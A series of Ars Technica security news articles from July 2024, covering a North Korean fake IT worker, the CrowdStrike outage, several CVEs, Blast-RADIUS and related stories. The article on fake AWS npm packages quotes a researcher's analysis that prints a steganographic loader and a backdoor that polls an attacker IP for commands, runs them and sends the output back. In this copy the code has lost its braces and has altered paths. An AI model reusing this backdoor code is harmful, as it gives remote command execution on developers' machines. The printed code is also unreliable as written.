Security

north-korean-hacker-got-hired-by-us-security-vendor,-immediately-loaded-malware

North Korean hacker got hired by US security vendor, immediately loaded malware

Teaching moment —

KnowBe4, which provides security awareness training, was fooled by stolen ID.

Two headshots of adult men. One is a real stock photograph while the other is an

Enlarge / On the left, a stock photo. On the right, an AI-enhanced image based on the stock photo. The AI-enhanced image was submitted to KnowBe4 by a job applicant.

KnowBe4, a US-based security vendor, revealed that it unwittingly hired a North Korean hacker who attempted to load malware into the company’s network. KnowBe4 CEO and founder Stu Sjouwerman described the incident in a blog post yesterday, calling it a cautionary tale that was fortunately detected before causing any major problems.

“First of all: No illegal access was gained, and no data was lost, compromised, or exfiltrated on any KnowBe4 systems,” Sjouwerman wrote. “This is not a data breach notification, there was none. See it as an organizational learning moment I am sharing with you. If it can happen to us, it can happen to almost anyone. Don’t let it happen to you.”

KnowBe4 said it was looking for a software engineer for its internal IT AI team. The firm hired a person who, it turns out, was from North Korea and was “using a valid but stolen US-based identity” and a photo that was “enhanced” by artificial intelligence. There is now an active FBI investigation amid suspicion that the worker is what KnowBe4’s blog post called “an Insider Threat/Nation State Actor.”

KnowBe4 operates in 11 countries and is headquartered in Florida. It provides security awareness training, including phishing security tests, to corporate customers. If you occasionally receive a fake phishing email from your employer, you might be working for a company that uses the KnowBe4 service to test its employees’ ability to spot scams.

Person passed background check and video interviews

KnowBe4 hired the North Korean hacker through its usual process. “We posted the job, received resumes, conducted interviews, performed background checks, verified references, and hired the person. We sent them their Mac workstation, and the moment it was received, it immediately started to load malware,” the company said.

Even though the photo provided to HR was fake, the person who was interviewed for the job apparently looked enough like it to pass. KnowBe4’s HR team “conducted four video conference based interviews on separate occasions, confirming the individual matched the photo provided on their application,” the post said. “Additionally, a background check and all other standard pre-hiring checks were performed and came back clear due to the stolen identity being used. This was a real person using a valid but stolen US-based identity. The picture was AI ‘enhanced.'”

The two images at the top of this story are a stock photo and what KnowBe4 says is the AI fake based on the stock photo. The stock photo is on the left, and the AI fake is on the right.

The employee, referred to as “XXXX” in the blog post, was hired as a principal software engineer. The new hire’s suspicious activities were flagged by security software, leading KnowBe4’s Security Operations Center (SOC) to investigate:

On July 15, 2024, a series of suspicious activities were detected on the user beginning at 9: 55 pm EST. When these alerts came in KnowBe4’s SOC team reached out to the user to inquire about the anomalous activity and possible cause. XXXX responded to SOC that he was following steps on his router guide to troubleshoot a speed issue and that it may have caused a compromise.

The attacker performed various actions to manipulate session history files, transfer potentially harmful files, and execute unauthorized software. He used a Raspberry Pi to download the malware. SOC attempted to get more details from XXXX including getting him on a call. XXXX stated he was unavailable for a call and later became unresponsive. At around 10: 20 pm EST SOC contained XXXX’s device.

“Fake IT worker from North Korea”

The SOC analysis indicated that the loading of malware “may have been intentional by the user,” and the group “suspected he may be an Insider Threat/Nation State Actor,” the blog post said.

“We shared the collected data with our friends at Mandiant, a leading global cybersecurity expert, and the FBI, to corroborate our initial findings. It turns out this was a fake IT worker from North Korea,” Sjouwerman wrote.

KnowBe4 said it can’t provide much detail because of the active FBI investigation. But the person hired for the job may have logged into the company computer remotely from North Korea, Sjouwerman explained:

How this works is that the fake worker asks to get their workstation sent to an address that is basically an “IT mule laptop farm.” They then VPN in from where they really physically are (North Korea or over the border in China) and work the night shift so that they seem to be working in US daytime. The scam is that they are actually doing the work, getting paid well, and give a large amount to North Korea to fund their illegal programs. I don’t have to tell you about the severe risk of this. It’s good we have new employees in a highly restricted area when they start, and have no access to production systems. Our controls caught it, but that was sure a learning moment that I am happy to share with everyone.

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major-outages-at-crowdstrike,-microsoft-leave-the-world-with-bsods-and-confusion

Major outages at CrowdStrike, Microsoft leave the world with BSODs and confusion

Y2K24 —

Nobody’s sure who’s at fault for each outage: Microsoft, CrowdStrike, or both.

A passenger sits on the floor as long queues form at the check-in counters at Ninoy Aquino International Airport, on July 19, 2024 in Manila, Philippines.

Enlarge / A passenger sits on the floor as long queues form at the check-in counters at Ninoy Aquino International Airport, on July 19, 2024 in Manila, Philippines.

Ezra Acayan/Getty Images

Millions of people outside the IT industry are learning what CrowdStrike is today, and that’s a real bad thing. Meanwhile, Microsoft is also catching blame for global network outages, and between the two, it’s unclear as of Friday morning just who caused what.

After cybersecurity firm CrowdStrike shipped an update to its Falcon Sensor software that protects mission-critical systems, blue screens of death (BSODs) started taking down Windows-based systems. The problems started in Australia and followed the dateline from there.

TV networks, 911 call centers, and even the Paris Olympics were affected. Banks and financial systems in India, South Africa, Thailand, and other countries fell as computers suddenly crashed. Some individual workers discovered that their work-issued laptops were booting to blue screens on Friday morning. The outages took down not only Starbucks mobile ordering, but also a single motel in Laramie, Wyoming.

Airlines, never the most agile of networks, were particularly hard-hit, with American Airlines, United, Delta, and Frontier among the US airlines overwhelmed Friday morning.

CrowdStrike CEO “deeply sorry”

Fixes suggested by both CrowdStrike and Microsoft for endlessly crashing Windows systems range from “reboot it up to 15 times” to individual driver deletions within detached virtual OS disks. The presence of BitLocker drive encryption on affected devices further complicates matters.

CrowdStrike CEO George Kurtz posted on X (formerly Twitter) at 5: 45 am Eastern time that the firm was working on “a defect found in a single content update for Windows hosts,” with Mac and Linux hosts unaffected. “This is not a security incident or cyberattack. The issue has been identified, isolated and a fix has been deployed,” Kurtz wrote. Kurtz told NBC’s Today Show Friday morning that CrowdStrike is “deeply sorry for the impact that we’ve caused to customers.”

As noted on Mastodon by LittleAlex, Kurtz was the Chief Technology Officer of security firm McAfee when, in April 2010, that firm sent an update that deleted a crucial Windows XP file that caused widespread outages and required system-by-system file repair.

The costs of such an outage will take some time to be known, and will be hard to measure. Cloud cost analyst CloudZero estimated mid-morning Friday that the CrowdStrike incident had already cost $24 billion, based on a previous estimate.

Multiple outages, unclear blame

Microsoft services were, in a seemingly terrible coincidence, also down overnight Thursday into Friday. Multiple Azure services went down Thursday evening, with the cause cited as “a backend cluster management workflow [that] deployed a configuration change causing backend access to be blocked between a subset of Azure Storage clusters and compute resources in the Central US region.”

A spokesperson for Microsoft told Ars in a statement Friday that the CrowdStrike update was not related to its July 18 Azure outage. “That issue has fully recovered,” the statement read.

News reporting on these outages has so far blamed either Microsoft, CrowdStrike, or an unclear mixture of the two as the responsible party for various outages. It may be unavoidable, given that the outages are all happening on one platform, Windows. Microsoft itself issued an “Awareness” regarding the CrowdStrike BSOD issue on virtual machines running Windows. The firm was frequently updating it Friday, with a fix that may or may not surprise IT veterans.

“We’ve received feedback from customers that several reboots (as many as 15 have been reported) may be required, but overall feedback is that reboots are an effective troubleshooting step at this stage,” Microsoft wrote in the bulletin. Alternately, Microsoft recommend customers that have a backup from “before 19: 00 UTC on the 18th of July” restore it, or attach the OS disk to a repair VM to then delete the file (Windows/System32/Drivers/CrowdStrike/C00000291*.sys) at the heart of the boot loop.

Security consultant Troy Hunt was quoted as describing the dual failures as “the largest IT outage in history,” saying, “basically what we were all worried about with Y2K, except it’s actually happened this time.”

United Airlines told Ars that it was “resuming some flights, but expect schedule disruptions to continue throughout Friday,” and had issued waivers for customers to change travel plans. American Airlines posted early Friday that it had re-established its operations by 5 am Eastern, but expected delays and cancellations throughout Friday.

Ars has reached out to CrowdStrike for comment and will update this post with response.

This is a developing story and this post will be updated as new information is available.

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vulnerability-in-cisco-smart-software-manager-lets-attackers-change-any-user-password

Vulnerability in Cisco Smart Software Manager lets attackers change any user password

GET YER PATCH —

Yep, passwords for administrators can be changed, too.

Vulnerability in Cisco Smart Software Manager lets attackers change any user password

Cisco on Wednesday disclosed a maximum-security vulnerability that allows remote threat actors with no authentication to change the password of any user, including those of administrators with accounts, on Cisco Smart Software Manager On-Prem devices.

The Cisco Smart Software Manager On-Prem resides inside the customer premises and provides a dashboard for managing licenses for all Cisco gear in use. It’s used by customers who can’t or don’t want to manage licenses in the cloud, as is more common.

In a bulletin, Cisco warns that the product contains a vulnerability that allows hackers to change any account’s password. The severity of the vulnerability, tracked as CVE-2024-20419, is rated 10, the maximum score.

“This vulnerability is due to improper implementation of the password-change process,” the Cisco bulletin stated. “An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow an attacker to access the web UI or API with the privileges of the compromised user.”

There are no workarounds available to mitigate the threat.

It’s unclear precisely what an attacker can do after gaining administrative control over the device. One possibility is that the web user interface and application programming interface the attacker gains administrative control over make it possible to pivot to other Cisco devices connected to the same network and, from there, steal data, encrypt files, or perform similar actions. Cisco representatives didn’t immediately respond to an email. This post will be updated if a response comes later.

A security update linked to the bulletin fixes the vulnerability. Cisco said it isn’t aware of any evidence that the vulnerability is being actively exploited.

Vulnerability in Cisco Smart Software Manager lets attackers change any user password Read More »

here’s-how-carefully-concealed-backdoor-in-fake-aws-files-escaped-mainstream-notice

Here’s how carefully concealed backdoor in fake AWS files escaped mainstream notice

DEVS IN THE CROSSHAIRS —

Files available on the open source NPM repository underscore a growing sophistication.

A cartoon door leads to a wall of computer code.

Researchers have determined that two fake AWS packages downloaded hundreds of times from the open source NPM JavaScript repository contained carefully concealed code that backdoored developers’ computers when executed.

The packages—img-aws-s3-object-multipart-copy and legacyaws-s3-object-multipart-copy—were attempts to appear as aws-s3-object-multipart-copy, a legitimate JavaScript library for copying files using Amazon’s S3 cloud service. The fake files included all the code found in the legitimate library but added an additional JavaScript file named loadformat.js. That file provided what appeared to be benign code and three JPG images that were processed during package installation. One of those images contained code fragments that, when reconstructed, formed code for backdooring the developer device.

Growing sophistication

“We have reported these packages for removal, however the malicious packages remained available on npm for nearly two days,” researchers from Phylum, the security firm that spotted the packages, wrote. “This is worrying as it implies that most systems are unable to detect and promptly report on these packages, leaving developers vulnerable to attack for longer periods of time.”

In an email, Phylum Head of Research Ross Bryant said img-aws-s3-object-multipart-copy received 134 downloads before it was taken down. The other file, legacyaws-s3-object-multipart-copy, got 48.

The care the package developers put into the code and the effectiveness of their tactics underscores the growing sophistication of attacks targeting open source repositories, which besides NPM have included PyPI, GitHub, and RubyGems. The advances made it possible for the vast majority of malware-scanning products to miss the backdoor sneaked into these two packages. In the past 17 months, threat actors backed by the North Korean government have targeted developers twice, one of those using a zero-day vulnerability.

Phylum researchers provided a deep-dive analysis of how the concealment worked:

Analyzing the loadformat.js file, we find what appears to be some fairly innocuous image analysis code.

However, upon closer review, we see that this code is doing a few interesting things, resulting in execution on the victim machine.

After reading the image file from the disk, each byte is analyzed. Any bytes with a value between 32 and 126 are converted from Unicode values into a character and appended to the analyzepixels variable.

function processImage(filePath)   	console.log("Processing image...");  	const data = fs.readFileSync(filePath);  	let analyzepixels = "";  	let convertertree = false;    	for (let i = 0; i < data.length; i++) {      	const value = data[i];      	if (value >= 32 && value <= 126) {          	analyzepixels += String.fromCharCode(value);      	} else {          	if (analyzepixels.length > 2000)               	convertertree = true;              	break;          	          	analyzepixels = "";      	  	}        	// ...  

The threat actor then defines two distinct bodies of a function and stores each in their own variables, imagebyte and analyzePixels.

let analyzePixеls = `  	if (false)       	exec("node -v", (error, stdout, stderr) =>           	console.log(stdout);      	);  	  	console.log("check nodejs version...");  	`;    let imagebyte = `  	const httpsOptions =       	hostname: 'cloudconvert.com',      	path: '/image-converter',      	method: 'POST'  	;  	const req = https.request(httpsOptions, res =>       	console.log('Status Code:', res.statusCode);  	);  	req.on('error', error =>       	console.error(error);  	);  	req.end();  	console.log("Executing operation...");  	`;  

If convertertree is set to true, imagebyte is set to analyzepixels. In plain language, if converttree is set, it will execute whatever is contained in the script we extracted from the image file.

if (convertertree)   	console.log("Optimization complete. Applying advanced features...");  	imagebyte = analyzepixels;   else   	console.log("Optimization complete. No advanced features applied.");    

Looking back above, we note that convertertree will be set to true if the length of the bytes found in the image is greater than 2,000.

if (analyzepixels.length > 2000)     convertertree = true;    break;    

The author then creates a new function using either code that sends an empty POST request to cloudconvert.com or initiates executing whatever was extracted from the image files.

const func = new Function('https', 'exec', 'os', imagebyte);  func(https, exec, os);  

The lingering question is, what is contained in the images that this is trying to execute?

Command-and-Control in a JPEG

Looking at the bottom of the loadformat.js file, we see the following:

processImage('logo1.jpg');  processImage('logo2.jpg');  processImage('logo3.jpg');  

We find these three files in the package’s root, which are included below without modification, unless otherwise noted.

Appears as logo1.jpg in the package
Appears as logo2.jpg in the package
Appears as logo3.jpg in the package. Modified here as the file is corrupted and in some cases would not display properly.

If we run each of these through the processImage(...) function from above, we find that the Intel image (i.e., logo1.jpg) does not contain enough “valid” bytes to set the converttree variable to true. The same goes for logo3.jpg, the AMD logo. However, for the Microsoft logo (logo2.jpg), we find the following, formatted for readability:

let fetchInterval = 0x1388;  let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);  const clientInfo =     'name': os.hostname(),    'os': os.type() + " " + os.release()  ;  const agent = new https.Agent(    'rejectUnauthorized': false  );  function registerClient()     const _0x47c6de = JSON.stringify(clientInfo);    const _0x5a10c1 =   	'hostname': "85.208.108.29",  	'port': 0x1bb,  	'path': "https://arstechnica.com/register",  	'method': "POST",  	'headers':     	'Content-Type': "application/json",    	'Content-Length': Buffer.byteLength(_0x47c6de)  	,  	'agent': agent    ;    const _0x38f695 = https.request(_0x5a10c1, _0x454719 =>   	console.log("Registered with server as " + clientInfo.name);    );    _0x38f695.on("error", _0x1159ec =>   	console.error("Problem with registration: " + _0x1159ec.message);    );    _0x38f695.write(_0x47c6de);    _0x38f695.end();    function fetchAndExecuteCommand()     const _0x2dae30 =   	'hostname': "85.208.108.29",  	'port': 0x1bb,  	'path': "https://arstechnica.com/get-command?clientId=" + encodeURIComponent(clientInfo.name),  	'method': "GET",  	'agent': agent    ;    https.get(_0x2dae30, _0x4a0c09 =>   	let _0x41cd12 = '';  	_0x4a0c09.on("data", _0x5cbbc5 =>     	_0x41cd12 += _0x5cbbc5.toString();  	);  	_0x4a0c09.on("end", () =>     	console.log("Received command:", _0x41cd12);    	if (_0x41cd12.startsWith('setInterval:'))       	const _0x1e3896 = parseInt(_0x41cd12.split(':')[0x1], 0xa);      	if (!isNaN(_0x1e3896) && _0x1e3896 > 0x0)         	clearInterval(intervalId);        	fetchInterval = _0x1e3896 0x3e8;        	intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);        	console.log("Interval has been updated to " + _0x1e3896 + " seconds.");      	 else         	console.log("Invalid interval command received.");      	    	 else       	if (_0x41cd12.startsWith("cd "))         	const _0x58bd7d = _0x41cd12.substring(0x3).trim();        	try           	process.chdir(_0x58bd7d);          	console.log("Changed directory to " + process.cwd());        	 catch (_0x2ee272)           	console.error("Change directory failed: " + _0x2ee272);        	      	 else if (_0x41cd12 !== "No commands")         	exec(_0x41cd12,           	'cwd': process.cwd()        	, (_0x5da676, _0x1ae10c, _0x46788b) =>           	let _0x4a96cd = _0x1ae10c;          	if (_0x5da676)             	console.error("exec error: " + _0x5da676);            	_0x4a96cd += "\nError: " + _0x46788b;          	          	postResult(_0x4a96cd);        	);      	 else         	console.log("No commands to execute");      	    	  	);    ).on("error", _0x2e8190 =>   	console.error("Got error: " + _0x2e8190.message);    );    function postResult(_0x1d73c1)     const _0xc05626 =   	'hostname': "85.208.108.29",  	'port': 0x1bb,  	'path': "https://arstechnica.com/post-result?clientId=" + encodeURIComponent(clientInfo.name),  	'method': "POST",  	'headers':     	'Content-Type': "text/plain",    	'Content-Length': Buffer.byteLength(_0x1d73c1)  	,  	'agent': agent    ;    const _0x2fcb05 = https.request(_0xc05626, _0x448ba6 =>   	console.log("Result sent to the server");    );    _0x2fcb05.on('error', _0x1f60a7 =>   	console.error("Problem with request: " + _0x1f60a7.message);    );    _0x2fcb05.write(_0x1d73c1);    _0x2fcb05.end();    registerClient();  

This code first registers the new client with the remote C2 by sending the following clientInfo to 85.208.108.29.

const clientInfo =     'name': os.hostname(),    'os': os.type() + " " + os.release()  ;  

It then sets up an interval that periodically loops through and fetches commands from the attacker every 5 seconds.

let fetchInterval = 0x1388;  let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);  

Received commands are executed on the device, and the output is sent back to the attacker on the endpoint /post-results?clientId=.

One of the most innovative methods in recent memory for concealing an open source backdoor was discovered in March, just weeks before it was to be included in a production release of the XZ Utils, a data-compression utility available on almost all installations of Linux. The backdoor was implemented through a five-stage loader that used a series of simple but clever techniques to hide itself. Once installed, the backdoor allowed the threat actors to log in to infected systems with administrative system rights.

The person or group responsible spent years working on the backdoor. Besides the sophistication of the concealment method, the entity devoted large amounts of time to producing high-quality code for open source projects in a successful effort to build trust with other developers.

In May, Phylum disrupted a separate campaign that backdoored a package available in PyPI that also used steganography, a technique that embeds secret code into images.

“In the last few years, we’ve seen a dramatic rise in the sophistication and volume of malicious packages published to open source ecosystems,” Phylum researchers wrote. “Make no mistake, these attacks are successful. It is absolutely imperative that developers and security organizations alike are keenly aware of this fact and are deeply vigilant with regard to open source libraries they consume.”

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google-makes-it-easier-for-users-to-switch-on-advanced-account-protection

Google makes it easier for users to switch on advanced account protection

APP MADE EASIER —

The strict requirement for two physical keys is now eased when passkeys are used.

Google makes it easier for users to switch on advanced account protection

Getty Images

Google is making it easier for people to lock down their accounts with strong multifactor authentication by adding the option to store secure cryptographic keys in the form of passkeys rather than on physical token devices.

Google’s Advanced Protection Program, introduced in 2017, requires the strongest form of multifactor authentication (MFA). Whereas many forms of MFA rely on one-time passcodes sent through SMS or emails or generated by authenticator apps, accounts enrolled in advanced protection require MFA based on cryptographic keys stored on a secure physical device. Unlike one-time passcodes, security keys stored on physical devices are immune to credential phishing and can’t be copied or sniffed.

Democratizing APP

APP, short for Advanced Protection Program, requires the key to be accompanied by a password whenever a user logs into an account on a new device. The protection prevents the types of account takeovers that allowed Kremlin-backed hackers to access the Gmail accounts of Democratic officials in 2016 and go on to leak stolen emails to interfere with the presidential election that year.

Until now, Google required people to have two physical security keys to enroll in APP. Now, the company is allowing people to instead use two passkeys or one passkey and one physical token. Those seeking further security can enroll using as many keys as they want.

“We’re expanding the aperture so people have more choice in how they enroll in this program,” Shuvo Chatterjee, the project lead for APP, told Ars. He said the move comes in response to comments Google has received from some users who either couldn’t afford to buy the physical keys or lived or worked in regions where they’re not available.

As always, users must still have two keys to enroll to prevent being locked out of accounts if one of them is lost or broken. While lockouts are always a problem, they can be much worse for APP users because the recovery process is much more rigorous and takes much longer than for accounts not enrolled in the program.

Passkeys are the creation of the FIDO Alliance, a cross-industry group comprised of hundreds of companies. They’re stored locally on a device and can also be stored in the same type of hardware token storing MFA keys. Passkeys can’t be extracted from the device and require either a PIN or a scan of a fingerprint or face. They provide two factors of authentication: something the user knows—the underlying password used when the passkey was first generated—and something the user has—in the form of the device storing the passkey.

Of course, the relaxed requirements only go so far since users still must have two devices. But by expanding the types of devices needed,  APP becomes more accessible since many people already have a phone and computer, Chatterjee said.

“If you’re in a place where you can’t get security keys, it’s more convenient,” he explained. “This is a step toward democratizing how much access [users] get to this highest security tier Google offers.”

Despite the increased scrutiny involved in the recovery process for APP accounts, Google is renewing its recommendation that users provide a phone number and email address as backup.

“The most resilient thing to do is have multiple things on file, so if you lose that security key or the key blows up, you have a way to get back into your account,” Chatterjee said. He’s not providing the “secret sauce” details about how the process works, but he said it involves “tons of signals we look at to figure out what’s really happening.

“Even if you do have a recovery phone, a recovery phone by itself isn’t going to get you access to your account,” he said. “So if you get SIM swapped, it doesn’t mean someone gets access to your account. It’s a combination of various factors. It’s the summation of that that will help you on your path to recovery.”

Google users can enroll in APP by visiting this link.

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nearly-all-at&t-subscribers’-call-records-stolen-in-snowflake-cloud-hack

Nearly all AT&T subscribers’ call records stolen in Snowflake cloud hack

AT&T data breach —

Six months of call and text records taken from AT&T workspace on cloud platform.

AT&T logo displayed on a smartphone with a stock exchange index graph in the background.

Getty Images | SOPA Images

AT&T today said a breach on a third-party cloud platform exposed the call and text records of nearly all its cellular customers. The leaked data is said to include phone numbers that AT&T subscribers communicated with, but not names.

An AT&T spokesperson confirmed to Ars that the data was exposed in the recently reported attack on “AI data cloud” provider Snowflake, which also affected Ticketmaster and many other companies. As previously reported, Snowflake was compromised by a group that obtained login credentials through information-stealing malware.

“In April, AT&T learned that customer data was illegally downloaded from our workspace on a third-party cloud platform,” AT&T announced today. AT&T said it is working with law enforcement and “understands that at least one person has been apprehended.”

AT&T said it does not believe the stolen call data has been made publicly available. “The call and text records identify the phone numbers with which an AT&T number interacted during this period, including AT&T landline (home phone) customers. It also included counts of those calls or texts and total call durations for specific days or months,” AT&T said.

Records of “nearly all” AT&T customers

The data does not include the content of calls or text messages, AT&T said.

“Based on our investigation, the compromised data includes files containing AT&T records of calls and texts of nearly all of AT&T’s cellular customers, customers of mobile virtual network operators (MVNOs) using AT&T’s wireless network, as well as AT&T’s landline customers who interacted with those cellular numbers between May 1, 2022 – October 31, 2022. The compromised data also includes records from January 2, 2023, for a very small number of customers,” AT&T said.

The carrier said the breach does not include Social Security numbers, dates of birth, other personally identifiable information, or the time stamps for calls and texts. “While the data does not include customer names, there are often ways, using publicly available online tools, to find the name associated with a specific telephone number,” an AT&T filing with the Securities and Exchange Commission said.

AT&T’s SEC filing said the “records identify the telephone numbers with which an AT&T or MVNO wireless number interacted during these periods, including telephone numbers of AT&T wireline customers and customers of other carriers, counts of those interactions, and aggregate call duration for a day or month. For a subset of records, one or more cell site identification number(s) are also included.”

AT&T said it has “clos[ed] off the point of unlawful access” and is notifying current and former customers of the breach. AT&T’s current and former customers can obtain the data that was compromised, and details on how to make those data requests are available on this page.

FBI and FCC comment

The Federal Bureau of Investigation said AT&T and law enforcement agreed to delay public reporting of the incident when the investigation began in April. The FBI provided this statement to Ars:

Shortly after identifying a potential breach to customer data and before making its materiality decision, AT&T contacted the FBI to report the incident. In assessing the nature of the breach, all parties discussed a potential delay to public reporting under Item 1.05(c) of the SEC Rule, due to potential risks to national security and/or public safety. AT&T, FBI, and DOJ worked collaboratively through the first and second delay process, all while sharing key threat intelligence to bolster FBI investigative equities and to assist AT&T’s incident response work.

The FBI declined to provide any information on the person who was apprehended. The Federal Communications Commission said it has “an ongoing investigation into the AT&T breach and we’re coordinating with our law enforcement partners.”

An AT&T spokesperson told Ars that the Snowflake breach is unrelated to another recent leak involving the data of 73 million current and former subscribers.

Nearly all AT&T subscribers’ call records stolen in Snowflake cloud hack Read More »

exim-vulnerability-affecting-1.5-million-servers-lets-attackers-attach-malicious-files

Exim vulnerability affecting 1.5 million servers lets attackers attach malicious files

GIRD YOUR LOINS —

Based on past attacks, It wouldn’t be surprising to see active targeting this time too.

Exim vulnerability affecting 1.5 million servers lets attackers attach malicious files

More than 1.5 million email servers are vulnerable to attacks that can deliver executable attachments to user accounts, security researchers said.

The servers run versions of the Exim mail transfer agent that are vulnerable to a critical vulnerability that came to light 10 days ago. Tracked as CVE-2024-39929 and carrying a severity rating of 9.1 out of 10, the vulnerability makes it trivial for threat actors to bypass protections that normally prevent the sending of attachments that install apps or execute code. Such protections are a first line of defense against malicious emails designed to install malware on end-user devices.

A serious security issue

“I can confirm this bug,” Exim project team member Heiko Schlittermann wrote on a bug-tracking site. “It looks like a serious security issue to me.”

Researchers at security firm Censys said Wednesday that of the more than 6.5 million public-facing SMTP email servers appearing in Internet scans, 4.8 million of them (roughly 74 percent) run Exim. More than 1.5 million of the Exim servers, or roughly 31 percent, are running a vulnerable version of the open-source mail app.

While there are no known reports of active exploitation of the vulnerability, it wouldn’t be surprising to see active targeting, given the ease of attacks and the large number of vulnerable servers. In 2020, one of the world’s most formidable hacking groups—the Kremlin-backed Sandworm—exploited a severe Exim vulnerability tracked as CVE-2019-10149, which allowed them to send emails that executed malicious code that ran with unfettered root system rights. The attacks began in August 2019, two months after the vulnerability came to light. They continued through at least May 2020.

CVE-2024-39929 stems from an error in the way Exim parses multiline headers as specified in RFC 2231. Threat actors can exploit it to bypass extension blocking and deliver executable attachments in emails sent to end users. The vulnerability exists in all Exim versions up to and including 4.97.1. A fix is available in the Release Candidate 3 of Exim 4.98.

Given the requirement that end users must click on an attached executable for the attack to work, this Exim vulnerability isn’t as serious as the one that was exploited starting in 2019. That said, social engineering people remains among the most effective attack methods. Admins should assign a high priority to updating to the latest version.

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New Blast-RADIUS attack breaks 30-year-old protocol used in networks everywhere

AUTHENTICATION PROTOCOL SHATTERED —

Ubiquitous RADIUS scheme uses homegrown authentication based on MD5. Yup, you heard right.

New Blast-RADIUS attack breaks 30-year-old protocol used in networks everywhere

Getty Images

One of the most widely used network protocols is vulnerable to a newly discovered attack that can allow adversaries to gain control over a range of environments, including industrial controllers, telecommunications services, ISPs, and all manner of enterprise networks.

Short for Remote Authentication Dial-In User Service, RADIUS harkens back to the days of dial-in Internet and network access through public switched telephone networks. It has remained the de facto standard for lightweight authentication ever since and is supported in virtually all switches, routers, access points, and VPN concentrators shipped in the past two decades. Despite its early origins, RADIUS remains an essential staple for managing client-server interactions for:

  • VPN access
  • DSL and Fiber to the Home connections offered by ISPs,
  • Wi-Fi and 802.1X authentication
  • 2G and 3G cellular roaming
  • 5G Data Network Name authentication
  • Mobile data offloading
  • Authentication over private APNs for connecting mobile devices to enterprise networks
  • Authentication to critical infrastructure management devices
  • Eduroam and OpenRoaming Wi-Fi

RADIUS provides seamless interaction between clients—typically routers, switches, or other appliances providing network access—and a central RADIUS server, which acts as the gatekeeper for user authentication and access policies. The purpose of RADIUS is to provide centralized authentication, authorization, and accounting management for remote logins.

The protocol was developed in 1991 by a company known as Livingston Enterprises. In 1997 the Internet Engineering Task Force made it an official standard, which was updated three years later. Although there is a draft proposal for sending RADIUS traffic inside of a TLS-encrypted session that’s supported by some vendors, many devices using the protocol only send packets in clear text through UDP (User Datagram Protocol).

XKCD

A more detailed illustration of RADIUS using Password Authentication Protocol over UDP.

Enlarge / A more detailed illustration of RADIUS using Password Authentication Protocol over UDP.

Goldberg et al.

Roll-your-own authentication with MD5? For real?

Since 1994, RADIUS has relied on an improvised, home-grown use of the MD5 hash function. First created in 1991 and adopted by the IETF in 1992, MD5 was at the time a popular hash function for creating what are known as “message digests” that map an arbitrary input like a number, text, or binary file to a fixed-length 16-byte output.

For a cryptographic hash function, it should be computationally impossible for an attacker to find two inputs that map to the same output. Unfortunately, MD5 proved to be based on a weak design: Within a few years, there were signs that the function might be more susceptible than originally thought to attacker-induced collisions, a fatal flaw that allows the attacker to generate two distinct inputs that produce identical outputs. These suspicions were formally verified in a paper published in 2004 by researchers Xiaoyun Wang and Hongbo Yu and further refined in a research paper published three years later.

The latter paper—published in 2007 by researchers Marc Stevens, Arjen Lenstra, and Benne de Weger—described what’s known as a chosen-prefix collision, a type of collision that results from two messages chosen by an attacker that, when combined with two additional messages, create the same hash. That is, the adversary freely chooses two distinct input prefixes 𝑃 and 𝑃′ of arbitrary content that, when combined with carefully corresponding suffixes 𝑆 and 𝑆′ that resemble random gibberish, generate the same hash. In mathematical notation, such a chosen-prefix collision would be written as 𝐻(𝑃‖𝑆)=𝐻(𝑃′‖𝑆′). This type of collision attack is much more powerful because it allows the attacker the freedom to create highly customized forgeries.

To illustrate the practicality and devastating consequences of the attack, Stevens, Lenstra, and de Weger used it to create two cryptographic X.509 certificates that generated the same MD5 signature but different public keys and different Distinguished Name fields. Such a collision could induce a certificate authority intending to sign a certificate for one domain to unknowingly sign a certificate for an entirely different, malicious domain.

In 2008, a team of researchers that included Stevens, Lenstra, and de Weger demonstrated how a chosen prefix attack on MD5 allowed them to create a rogue certificate authority that could generate TLS certificates that would be trusted by all major browsers. A key ingredient for the attack is software named hashclash, developed by the researchers. Hashclash has since been made publicly available.

Despite the undisputed demise of MD5, the function remained in widespread use for years. Deprecation of MD5 didn’t start in earnest until 2012 after malware known as Flame, reportedly created jointly by the governments of Israel and the US, was found to have used a chosen prefix attack to spoof MD5-based code signing by Microsoft’s Windows update mechanism. Flame used the collision-enabled spoofing to hijack the update mechanism so the malware could spread from device to device inside an infected network.

More than 12 years after Flame’s devastating damage was discovered and two decades after collision susceptibility was confirmed, MD5 has felled yet another widely deployed technology that has resisted common wisdom to move away from the hashing scheme—the RADIUS protocol, which is supported in hardware or software provided by at least 86 distinct vendors. The result is “Blast RADIUS,” a complex attack that allows an attacker with an active adversary-in-the-middle position to gain administrator access to devices that use RADIUS to authenticate themselves to a server.

“Surprisingly, in the two decades since Wang et al. demonstrated an MD5 hash collision in 2004, RADIUS has not been updated to remove MD5,” the research team behind Blast RADIUS wrote in a paper published Tuesday and titled RADIUS/UDP Considered Harmful. “In fact, RADIUS appears to have received notably little security analysis given its ubiquity in modern networks.”

The paper’s publication is being coordinated with security bulletins from at least 90 vendors whose wares are vulnerable. Many of the bulletins are accompanied by patches implementing short-term fixes, while a working group of engineers across the industry drafts longer-term solutions. Anyone who uses hardware or software that incorporates RADIUS should read the technical details provided later in this post and check with the manufacturer for security guidance.

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the-president-ordered-a-board-to-probe-a-massive-russian-cyberattack-it-never-did.

The president ordered a board to probe a massive Russian cyberattack. It never did.

In this photo illustration, a Microsoft logo seen displayed on a smartphone with a Cyber Security illustration image in the background.

This story was originally published by ProPublica.

Investigating how the world’s largest software provider handles the security of its own ubiquitous products.

After Russian intelligence launched one of the most devastating cyber espionage attacks in history against US government agencies, the Biden administration set up a new board and tasked it to figure out what happened—and tell the public.

State hackers had infiltrated SolarWinds, an American software company that serves the US government and thousands of American companies. The intruders used malicious code and a flaw in a Microsoft product to steal intelligence from the National Nuclear Security Administration, National Institutes of Health, and the Treasury Department in what Microsoft President Brad Smith called “the largest and most sophisticated attack the world has ever seen.”

The president issued an executive order establishing the Cyber Safety Review Board in May 2021 and ordered it to start work by reviewing the SolarWinds attack.

But for reasons that experts say remain unclear, that never happened.

Nor did the board probe SolarWinds for its second report.

For its third, the board investigated a separate 2023 attack, in which Chinese state hackers exploited an array of Microsoft security shortcomings to access the email inboxes of top federal officials.

